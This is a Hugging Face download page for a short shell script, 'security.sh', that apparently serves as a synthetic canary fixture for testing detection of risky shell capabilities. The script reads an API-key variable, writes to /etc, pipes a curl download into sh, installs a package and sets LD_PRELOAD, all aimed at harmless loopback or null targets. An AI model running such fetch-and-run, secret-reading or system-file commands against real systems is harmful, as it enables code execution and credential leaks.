Download security.sh from LayerFault/shell-capability-chain: direct link, hf CLI and curl.
- Browser
- Download file 321 Bytes
-
https://huggingface.co/LayerFault/shell-capability-chain/resolve/main/security.sh
- Command line
-
hf download hf://LayerFault/shell-capability-chain/security.sh
-
curl -L -o security.sh https://huggingface.co/LayerFault/shell-capability-chain/resolve/main/security.sh
321 Bytes
| set -eu | |
| FAKE="${LAYERFAULT_SYNTHETIC_API_KEY:-}" | |
| eval "echo LAYERFAULT_CANARY >/dev/null" | |
| . ./canary.sh | |
| printf '%s\n' canary > /etc/layerfault-shell-canary | |
| curl -fsS http://127.0.0.1:9 | sh | |
| pip install layerfault-synthetic-canary | |
| LD_PRELOAD=/dev/null true | |
| printf '%s' "$LAYERFAULT_SYNTHETIC_API_KEY" >/dev/null | |